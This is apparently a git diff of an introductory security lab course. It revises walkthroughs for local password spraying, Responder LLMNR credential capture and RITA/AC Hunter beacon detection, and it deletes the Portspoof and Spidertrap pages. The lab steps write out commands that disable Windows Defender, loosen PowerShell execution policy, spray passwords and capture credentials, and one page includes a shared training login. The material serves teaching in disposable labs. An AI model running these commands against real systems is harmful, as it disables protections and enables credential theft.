Set-MpPreference -DisableRealtimeMonitoring $true
+ +```ps +Set-MpPreference -DisableRealtimeMonitoring $true +``` This will disable **Defender** for this session. If you get angry red errors, that is Ok, it means **Defender** is not running. -Let's get started by opening a **Command Prompt** terminal by clicking on the icon in the taskbar. +Let's get started by opening a **Command Prompt** terminal by clicking on the icon in the **desktop**. + +image -![](attachments/OpeningWindowsCommandPrompt.png) Once the terminal opens, navigate into the appropriate directory by running the following command: -
cd \IntroLabs
+```bash +cd \IntroLabs +``` We need to run the batch file named **200-user-gen** -First, let's get an updated version: - -
curl -o 200-user-gen.bat https://raw.githubusercontent.com/strandjs/IntroLabs/refs/heads/master/200-user-gen.bat
- -Now, we need to run it! - Do so by typing the name of the batch file and hitting enter: -
200-user-gen.bat
+```bash +200-user-gen.bat +``` It should look like this: -image +2026-03-26_09-21 + Let this run all the way through. @@ -46,55 +49,69 @@ We will need to start **PowerShell** to run **"LocalPasswordSpray"** Launch it by typing the following and hitting enter: -
powershell
+```bash +powershell +``` Run the following two commands: -
Set-ExecutionPolicy Unrestricted
+```ps +Set-ExecutionPolicy Unrestricted +``` -
Import-Module .\LocalPasswordSpray.ps1
+```ps +Import-Module .\LocalPasswordSpray.ps1 +``` It should look like this: -![](attachments/powershellcommands.png) +2026-03-26_09-22 + Let’s try some password spraying against the local system! -
Invoke-LocalPasswordSpray -Password Winter2025
+```ps +Invoke-LocalPasswordSpray -Password Winter2025 +``` It should look like this: -image +2026-02-23_14-55 We need to clean up and make sure the system is ready for the rest of the labs. Run the following two commands: -
exit
+```ps +exit +``` -
user-remove.bat
+```bash +user-remove.bat +``` -![](attachments/exit.png) +2026-02-23_15-02_1 Let this run all the way through. **Even though it looks endless, it's not!** -*** -***Continuing on to the next Lab?*** -[Click here to get back to the Navigation Menu](/IntroClassFiles/navigation.md) -***Finished with the Labs?*** +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/Responder/Responder.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/PasswordCracking/PasswordCracking.md) +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** Please be sure to destroy the lab environment! [Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) -[Return To Lab List](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/navigation.md) - --- diff --git a/user-remove.bat b/IntroClassFiles/Tools/IntroClass/PasswordSpray/user-remove.bat similarity index 100% rename from user-remove.bat rename to IntroClassFiles/Tools/IntroClass/PasswordSpray/user-remove.bat diff --git a/IntroClassFiles/Tools/IntroClass/Portspoof.md b/IntroClassFiles/Tools/IntroClass/Portspoof.md deleted file mode 100644 index 743206be..00000000 --- a/IntroClassFiles/Tools/IntroClass/Portspoof.md +++ /dev/null @@ -1,166 +0,0 @@ -![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) - - -Portspoof -========= - -Website -------- - - - -Description ------------ - -Portspoof is meant to be a lightweight, fast, portable and secure addition to any firewall system or security system. The general goal of the program is to make the reconnaissance phase slow and bothersome for your attackers as much it is possible. This is quite a change to the standard aggressive Nmap scan, which will give a full view of your system's running services. - -By using all of the techniques mentioned below: - -* your attackers will have a tough time while trying to identify all of your listening services. -* the only way to determine if a service is emulated is through a protocol probe (imagine probing protocols for 65k open ports!). -* it takes more than 8 hours and 200MB of sent data in order to get all of the service banners for your system ( nmap -sV -p - equivalent). - ---- - -The Portspoof program's primary goal is to enhance OS security through a set of new techniques: - -* All TCP ports are always open - -Instead of informing an attacker that a particular port is CLOSED or FILTERED a system with Portspoof will return SYN+ACK for every port connection attempt. - -As a result it is impractical to use stealth (SYN, ACK, etc.) port scanning against your system, since all ports are always reported as OPEN. With this approach it is really difficult to determine if a valid software is listening on a particular port (check out the screenshots). - -* Every open TCP port emulates a service - -Portspoof has a huge dynamic service signature database, which will be used to generate responses to your offenders scanning software service probes. - -Scanning software usually tries to determine a service that is running on an open port. This step is mandatory if one would want to identify port numbers on which you are running your services on a system behind the Portspoof. For this reason Portspoof will respond to every service probe with a valid service signature, which is dynamically generated based on a service signature regular expression database. - -As a result an attacker will not be able to determine which port numbers your system is truly using. - -Install Location ----------------- - -`/usr/local/bin/portspoof` - -Config File Location --------------------- - -`/usr/local/etc/portspoof.conf` -`/usr/local/etc/portspoof_signatures` - -Usage ------ - -`~#` **`portspoof -h`** - - Usage: portspoof [OPTION]... - Portspoof - service emulator / frontend exploitation framework. - - -i ip : Bind to a particular IP address - -p port : Bind to a particular PORT number - -s file_path : Portspoof service signature regex. file - -c file_path : Portspoof configuration file - -l file_path : Log port scanning alerts to a file - -f file_path : FUZZER_MODE - fuzzing payload file list - -n file_path : FUZZER_MODE - wrapping signatures file list - -1 FUZZER_MODE - generate fuzzing payloads internally - -2 switch to simple reply mode (doesn't work for Nmap)! - -D run as daemon process - -d disable syslog - -v be verbose - -h display this help and exit - - - -Example 1: Starting Portspoof ------------------------------ - -Portspoof, when run, listens on a single port. By default this is port 4444. In order to fool a port scan, we have to allow Portspoof to listen on *every* port. To accomplish this we will use an `iptables` command that redirects every packet sent to any port to port 4444 where the Portspoof port will be listening. This allows Portspoof to respond on any port. - -First, let's become root: - -`sudo su -` - -Now, let's install portspoof - -`sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg` - -`apt-get update` - -`apt-get install portspoof` - -*Note, this may take a moment - -![image](https://github.com/user-attachments/assets/db0eeae1-d282-448d-b2e6-7b819a091971) - -Now, let's add the firewall rules. - -`iptables -t nat -A PREROUTING -p tcp -m tcp --dport 1:20 -j REDIRECT --to-ports 4444` - -Then run Portspoof with no options, which defaults it to "open port" mode. This mode will just return OPEN state for every connection attempt. - -`portspoof` - -![image](https://github.com/user-attachments/assets/1e2425d2-796a-4d20-8c05-393a551d1990) - - -If you were to scan using Nmap from another Windows command prompt. Now you would see something like this: - -Note: You *must* run Nmap from a different machine. Scanning from the same machine will not reach Portspoof. - -Open a Windows command prompt: - -![image](https://github.com/user-attachments/assets/6f8f69a2-ff07-4deb-9f67-52f1fa5842a6) - -Then, run nmap: - -`nmap -p 1-10 ` - - -![image](https://github.com/user-attachments/assets/d51c7589-8fbf-4b0a-8c69-6c21629e588d) - - -All ports are reported as open! When run this way, Nmap reports the service that typically runs on each port. - -To get more accurate results, an attacker might run an Nmap service scan, which would actively try to detect the services running. But performing an Nmap service detection scan shows that something is amiss because all ports are reported as running the same type of service. - -`nmap -p 1-10 -sV ` - -![image](https://github.com/user-attachments/assets/148e82e4-f8fb-4df5-8fef-6b758d1e05e1) - - -Example 2: Spoofing Service Signatures --------------------------------------- - -Showing all ports as open is all well and good. But the same thing could be accomplished with a simple netcat listener (`nc -l -k 4444`). To make things more interesting, how about we have Portspoof fool Nmap into actually detecting real services running? - -Let's kill the running version of portspoof with ctrl+c then restart it with signatures: - -`portspoof -s /etc/portspoof/portspoof_signatures` - -![image](https://github.com/user-attachments/assets/e1a2857a-7628-46d0-8808-b0af2add49f1) - - - -This mode will generate and feed port scanners like Nmap bogus service signatures. - -Now running an Nmap service detection scan against the top 100 most common ports (a common hacker activity) will turn up some very interesting results. - -`nmap -p 1-10 -sV 172.16.215.138` - -![image](https://github.com/user-attachments/assets/c4281e6f-4937-4477-b6a9-d2344d2a2699) - - -Notice how all of the ports are still reported as open, but now Nmap reports a unique service on each port. This will either 1) lead an attacker down a rabbit hole investigating each port while wasting their time, or 2) the attacker may discard the results as false positives and ignore this machine altogether, leaving any legitimate service running untouched. - -Example 3: Cleaning Up ----------------------- - -To reset ADHD, you may reboot (recommended) or: - -1. Kill Portspoof by pressing Ctrl-C. -2. Flush all iptables rules by running the command (as root): `sudo iptables -t nat -F` - - -[Return To Lab List](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/navigation.md) diff --git a/IntroClassFiles/Tools/IntroClass/RITA/RITA.md b/IntroClassFiles/Tools/IntroClass/RITA/RITA.md index 592b32ff..bd776270 100755 --- a/IntroClassFiles/Tools/IntroClass/RITA/RITA.md +++ b/IntroClassFiles/Tools/IntroClass/RITA/RITA.md @@ -1,4 +1,65 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + +# RITA and AC Hunter + +In this lab, we are going to look at detecting command and control traffic on a network. + +We will be using **Real Intelligence Threat Analytics** (RITA) for this lab. + +To start we first need to open Windows File Explorer and navigate to the tools directory. + +First, open File Explorer: + +OpenFileExplorer + +Then, select the IntroLabs directory: + +![](attachments/rita_navintrolabs.png) + +Then, select rita-html-report: + +2026-02-23_15-18 + +Then, select **index.html**: + +![](attachments/rita_navindex.png) + +Let’s select **VSAGENT-2017-3-15**. + +![](attachments/rita_vsagent.png) + +The tabs across the top allow you to review the output for all the different analysis modules of RITA. +For **VSAgent** we will be focusing on **Beacons**, **Blacklisted** and **User Agents**. + +Please select the **Beacons** tab. + +![](attachments/rita_beaconview.png) + +Some backdoors have a very strong **“heartbeat”**. This is where a backdoor will constantly reconnect to get commands from an attacker at a specific interval. The interval consistency of the **“heartbeat”** is the TS score where a value of **1** is perfect. The top value in this set is the **VSAgent** communication. We will talk about the other connections in a few moments. + +We also have the number of connections. While some beacons have a **“strong”** heartbeat, they are very short in nature. Our VSAgent connection had a very large number of connections which had very strong intervals, while some of the others (e.g. the 64.4.54.253 addresses) had a strong **"heartbeat"**, but not as many connections. We will also talk about TS Duration. This is detecting how consistent each connection duration is. For example, if every connection is 2 seconds and there are 8000+ it would have a very strong **TS Duration** score. + +The other fields are statistical analysis fields showing things like mode range and skew. + +Now, lets navigate back to the first menu by clicking the **RITA** tab. + +![](attachments/rita_rita.png) + +Then, select **DNSCat-2017-03-21**. We are going to review a backdoor which does not quite fit the same mold as **VSAgent**. + +![](attachments/rita_dnscat.png) + +This does not beacon back to a specific IP address, but rather it beacons through a DNS server. It is very crafty and will highlight how we can review the RAR compressed Bro logs used to generate the RITA data. + +We are going to jump right to the DNS tab. It gives us the clearest look at this backdoor. + +![](attachments/rita_dns.png) + +![](attachments/rita_dnsview.png) + +A couple of things should jump out at an investigator straight away. First, there were over 40K requests for **cat.nanobotninjas.com.** This is an absurd number for a specific domain. Sure, there are lots of requests for com and org and net and uk, but that is to be expected. + Now, let's play with AC Hunter! Please go to @@ -54,7 +115,9 @@ Now, using **AC Hunter**, answer the following questions: 3. For the dnscat2-ja3-strobe-agent dataset, what domain has the highest lookup count? 4. Who is doing the lookups? + *** + Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/nessus/Nessus.md) Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/Wireshark/Wireshark.md) @@ -69,3 +132,5 @@ Please be sure to destroy the lab environment! --- + + diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/RITA.md b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/RITA.md new file mode 100755 index 00000000..41d128d2 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/RITA.md @@ -0,0 +1,140 @@ + +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + +# RITA and AC Hunter + +In this lab, we are going to look at detecting command and control traffic on a network. + +We will be using **Real Intelligence Threat Analytics** (RITA) for this lab. + +To start we first need to open Windows File Explorer and navigate to the tools directory. + +First, open File Explorer: + +OpenFileExplorer + + +Then, select the IntroLabs directory: + +![](attachments/rita_navintrolabs.png) + +Then, select rita-html-report: + +2026-02-23_15-18 + +Then, select **index.html**: + +![](attachments/rita_navindex.png) + +Let’s select **VSAGENT-2017-3-15**. + +![](attachments/rita_vsagent.png) + +The tabs across the top allow you to review the output for all the different analysis modules of RITA. +For **VSAgent** we will be focusing on **Beacons**, **Blacklisted** and **User Agents**. + +Please select the **Beacons** tab. + +![](attachments/rita_beaconview.png) + +Some backdoors have a very strong **“heartbeat”**. This is where a backdoor will constantly reconnect to get commands from an attacker at a specific interval. The interval consistency of the **“heartbeat”** is the TS score where a value of **1** is perfect. The top value in this set is the **VSAgent** communication. We will talk about the other connections in a few moments. + +We also have the number of connections. While some beacons have a **“strong”** heartbeat, they are very short in nature. Our VSAgent connection had a very large number of connections which had very strong intervals, while some of the others (e.g. the 64.4.54.253 addresses) had a strong **"heartbeat"**, but not as many connections. We will also talk about TS Duration. This is detecting how consistent each connection duration is. For example, if every connection is 2 seconds and there are 8000+ it would have a very strong **TS Duration** score. + +The other fields are statistical analysis fields showing things like mode range and skew. + +Now, lets navigate back to the first menu by clicking the **RITA** tab. + +![](attachments/rita_rita.png) + +Then, select **DNSCat-2017-03-21**. We are going to review a backdoor which does not quite fit the same mold as **VSAgent**. + +![](attachments/rita_dnscat.png) + +This does not beacon back to a specific IP address, but rather it beacons through a DNS server. It is very crafty and will highlight how we can review the RAR compressed Bro logs used to generate the RITA data. + +We are going to jump right to the DNS tab. It gives us the clearest look at this backdoor. + +![](attachments/rita_dns.png) + +![](attachments/rita_dnsview.png) + +A couple of things should jump out at an investigator straight away. First, there were over 40K requests for **cat.nanobotninjas.com.** This is an absurd number for a specific domain. Sure, there are lots of requests for com and org and net and uk, but that is to be expected. + +Now, let's play with AC Hunter! + +Please go to + +
https://training.aihhosted.com/
+ +You might be prompted by a warning stating that your connection isn't private. This is **Okay**. + +Simply click **Advanced** and then click **Continue to trainin.aihhosted.com** + +![](attachments/advanced.png) + +The creds are: + +email = **training@blackhillsinfosec.com** + +PW = **gotbeacons?** + +![](attachments/rita_achunterlogin.png) + +When logged in, you will be prompted to select a dataset. + +Select **vsagent** and hit confirm. + +![](attachments/rita_datasetselection.png) + +>[!NOTE] +> +>If this is not what you see, select the house icon in the bottom left of your screen, followed by the gear in the upper right. + +![](attachments/rita_wrongplace.png) + +This will open the overall scoring screen, as seen below. This screen allows you to see the systems that have the top scores across all areas from beacons to cyber deception. + +Please select **10.55.100.111**, then click on Beacon Score on the right. + +![](attachments/rita_selectingbeacon.png) + +This will open the beacon score for this system. + +![](attachments/rita_beaconscore.png) + +Notice the **histogram** on the bottom and the scoring criteria in the middle. + +Notice how on the bottom you can see multiple aspects of this systems connections. For example, you can see if there are any connections that had a threat intel hit, or if there are any connections that have beacons to a fully qualified domain. + +Now, using **AC Hunter**, answer the following questions: + +1. In the winlab-agent dataset, what is the connection interval for 10.10.98.30? + +2. In the gcat dataset, what is the historic fqdn for the beacon on 10.55.100.111? + +3. For the dnscat2-ja3-strobe-agent dataset, what domain has the highest lookup count? +4. Who is doing the lookups? + + +*** + +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/Sysmon/Sysmon.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/Responder/Responder.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- + + + + + + diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/AC_Hunter_Main_1.JPG b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/AC_Hunter_Main_1.JPG new file mode 100644 index 00000000..b11a98ca Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/AC_Hunter_Main_1.JPG differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/BeaconScore_3.JPG b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/BeaconScore_3.JPG new file mode 100644 index 00000000..10665b38 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/BeaconScore_3.JPG differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-16-58-09.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-16-58-09.png new file mode 100755 index 00000000..a2ba6850 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-16-58-09.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-16-59-17.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-16-59-17.png new file mode 100755 index 00000000..34ac8f1a Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-16-59-17.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-17-00-10.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-17-00-10.png new file mode 100755 index 00000000..b11434b3 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-17-00-10.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-17-01-18.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-17-01-18.png new file mode 100755 index 00000000..ce957578 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-17-01-18.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-17-08-00.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-17-08-00.png new file mode 100755 index 00000000..7969f0b9 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-17-08-00.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-17-08-41.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-17-08-41.png new file mode 100755 index 00000000..f717834e Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-17-08-41.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-17-09-00.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-17-09-00.png new file mode 100755 index 00000000..8c23527a Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-17-09-00.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-17-09-33.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-17-09-33.png new file mode 100755 index 00000000..d3f9600f Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-17-09-33.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-17-09-56.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-17-09-56.png new file mode 100755 index 00000000..9bd4f535 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/Clipboard_2020-07-07-17-09-56.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/DataSetSelection_2.JPG b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/DataSetSelection_2.JPG new file mode 100644 index 00000000..66a6b4f5 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/DataSetSelection_2.JPG differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/OpeningFileExplorer.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/OpeningFileExplorer.png new file mode 100644 index 00000000..7c3066b3 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/OpeningFileExplorer.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/advanced.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/advanced.png new file mode 100644 index 00000000..153dd3ce Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/advanced.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_achunterhome.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_achunterhome.png new file mode 100644 index 00000000..3601fc6f Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_achunterhome.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_achunterlogin.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_achunterlogin.png new file mode 100644 index 00000000..d3e093fe Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_achunterlogin.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_beaconscore.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_beaconscore.png new file mode 100644 index 00000000..c4368c99 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_beaconscore.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_beaconview.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_beaconview.png new file mode 100644 index 00000000..43366b2a Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_beaconview.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_datasetselection.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_datasetselection.png new file mode 100644 index 00000000..cf2eb5c8 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_datasetselection.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_dns.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_dns.png new file mode 100644 index 00000000..4568497e Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_dns.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_dnscat.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_dnscat.png new file mode 100644 index 00000000..c118ff88 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_dnscat.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_dnsview.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_dnsview.png new file mode 100644 index 00000000..b970fbc1 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_dnsview.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_navhtmlreport.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_navhtmlreport.png new file mode 100644 index 00000000..cbdfa5f4 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_navhtmlreport.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_navindex.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_navindex.png new file mode 100644 index 00000000..50e84e60 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_navindex.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_navintrolabs.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_navintrolabs.png new file mode 100644 index 00000000..9fa4f345 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_navintrolabs.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_rita.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_rita.png new file mode 100644 index 00000000..18e8fa2f Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_rita.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_selectingbeacon.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_selectingbeacon.png new file mode 100644 index 00000000..5495f74b Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_selectingbeacon.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_vsagent.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_vsagent.png new file mode 100644 index 00000000..14f6195b Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_vsagent.png differ diff --git a/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_wrongplace.png b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_wrongplace.png new file mode 100644 index 00000000..f299dde3 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/RITAIntroClass/attachments/rita_wrongplace.png differ diff --git a/IntroClassFiles/Tools/IntroClass/Responder/Responder.md b/IntroClassFiles/Tools/IntroClass/Responder/Responder.md index 5238f40d..6fa3c6a2 100755 --- a/IntroClassFiles/Tools/IntroClass/Responder/Responder.md +++ b/IntroClassFiles/Tools/IntroClass/Responder/Responder.md @@ -1,50 +1,88 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + + + + + # Responder In this lab we are going to walk through how quickly an attacker can take advantage of a common misconfiguration to gain access to a system via a **weak** password. Specifically, we are looking to take advantage of **"LLMNR"**. -We will need to load our terminal and start responder. +We will need to load our **linux terminal** and start responder. -Let's get started by opening a **Kali** terminal. -![](attachments/OpeningKaliInstance.png) -Alternatively, you can click on the **Kali** icon in the taskbar. -![](attachments/TaskbarKaliIcon.png) +- **Double-click** `Ubuntu Shell` on Desktop -Let’s become root: +Screenshot From 2026-02-23 10-28-37 -
sudo su -
-Before we start, we need to remove the existing **Responder** database. Do so by running the following: +Next, we will navigate to the **Responder** directory: -
rm /usr/share/responder/Responder.db
+```bash +cd ~/Intro_To_Security/Responder/ +``` Now let’s start **Responder**: -
responder -I eth0
+```bash +responder -I ens5 +``` You should see this: -![](attachments/responderrunning.png) +resp + + +Let's open **Windows File Explorer** and put in the string ```\\Linux-IP\Noooo``` into the address bar at the top. -Let's open **Windows File Explorer** and put in the string **"\\Noooo"** into the address bar at the top. +OpeningFileExplorer -![](attachments/OpeningFileExplorer.png) +file_exp -![](attachments/noooaccessbar.png) -Switch back to your **Kali** terminal window. +It will pop up a windows to write the credentials. Fill them and switch back to your **Linux** terminal window. + +creds + After a few moments, you should see some captured data showing up. **Please note there may be an error. That is OK.** -![](attachments/captureddata.png) +file_exp_logs + + +We can do the same thing from the Windows Terminal by running the following command: + +```bash +net use * \\10.10.102.57\share +``` + +term_attempt + +As we can see we have the new captured data showing up. -[Return To Lab List](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/navigation.md) +testing_log + + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/RITAIntroClass/RITA.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/PasswordSpray/PasswordSpray.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- @@ -127,3 +165,9 @@ Now, you can see just how bad LLMNR is!!!! */ --> + + + + + + diff --git a/IntroClassFiles/Tools/IntroClass/Responder/attachments/OpeningFileExplorer.png b/IntroClassFiles/Tools/IntroClass/Responder/attachments/OpeningFileExplorer.png index 7c3066b3..84c0f94e 100644 Binary files a/IntroClassFiles/Tools/IntroClass/Responder/attachments/OpeningFileExplorer.png and b/IntroClassFiles/Tools/IntroClass/Responder/attachments/OpeningFileExplorer.png differ diff --git a/IntroClassFiles/Tools/IntroClass/Responder/attachments/responderrunning.png b/IntroClassFiles/Tools/IntroClass/Responder/attachments/responderrunning.png index 8e0f691b..b0f9b21e 100644 Binary files a/IntroClassFiles/Tools/IntroClass/Responder/attachments/responderrunning.png and b/IntroClassFiles/Tools/IntroClass/Responder/attachments/responderrunning.png differ diff --git a/IntroClassFiles/Tools/IntroClass/Spidertrap.md b/IntroClassFiles/Tools/IntroClass/Spidertrap.md deleted file mode 100644 index c6afa225..00000000 --- a/IntroClassFiles/Tools/IntroClass/Spidertrap.md +++ /dev/null @@ -1,119 +0,0 @@ -![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) - -Spidertrap -========== - -Website -------- - - - -Description ------------ - -Trap web crawlers and spiders in an infinite set of dynamically -generated webpages. - -Install Location ----------------- - -`/opt/spidertrap/` - -Usage ------ - -`/opt/spidertrap$` **`python3 spidertrap.py --help`** - - Usage: spidertrap.py [FILE] - - FILE is file containing a list of webpage names to serve, one per line. - If no file is provided, random links will be generated. - - -Example 1: Basic Usage ----------------------- - -Start Spidertrap by opening a terminal, changing into the Spidertrap -directory, and typing the following: - -First, let's get your Kali Linux systems IP address - -`ifconfig` - -Next, let's cd to the propper directory: - -`cd /opt/spidertrap` - -Now, lets start it: - -`/opt/spidertrap$` **`python3 spidertrap.py`** - - Starting server on port 8000... - - Server started. Use to stop. - -![image](https://github.com/user-attachments/assets/e978648f-f43d-4cff-acdb-f524a5e1a571) - - - - 